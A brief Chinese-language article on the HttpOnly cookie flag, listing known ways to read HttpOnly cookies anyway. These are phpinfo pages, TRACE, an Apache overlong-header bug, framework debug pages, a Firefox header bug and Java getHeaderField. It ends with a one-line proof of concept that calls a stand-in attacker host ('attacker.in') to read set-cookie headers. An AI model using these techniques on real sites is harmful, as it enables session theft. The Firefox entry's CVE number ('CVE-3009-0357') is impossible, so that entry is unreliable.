HttpOnly简介
故名思议,HttpOnly是指仅在HTTP层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读写该Cookie,这样能有效的防御XSS攻击。HttpOnly是由微软在2002年首先在Internet Explorer 6 SP1上实现。根据微软的描述,HttpOnly是HTTP Set-Cookie头中的一个附加标志,下面的例子就是一个头信息中设置了HttpOnly Cookie。
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
目前,基本上所有的浏览器和web框架都支持HttpOnly。
得到HttpOnly Cookie
phpinfo信息
phpinfo页面可以包含了cookie信息,其中同样存在HttpOnly Cookie,如下图。

支持TRACE方法的服务器
Apache支持的一个Header是TRACE,TRACE一般是用于调试,他会将请求头作为HTTP Response Body返回。利用这个特性,可以把HttpOnly Cookie读出来。不过目前各厂商已经禁止通过Ajax发送TRACE请求。
CVE-2012-0053
Apache 2.2.x多个版本没有严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时,服务器返回400错误,并在返回信息中将出错的请求头内容输出。利用这个特性,可以得到HttpOnly Cookie。
Django等一些web框架的调试页面
开启了调试模式的一些框架,会将程序的信息输出,其中就有Cookie信息。
CVE-3009-0357
Firefox <= 1.9.1在处理HttpOnly Cookies时存在bug,通过getResponseHeader()得不到HttpOnly Cookie,但是通过getAllResponseHeaders()可以得到。
Java getHeaderField
POC:
alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie'));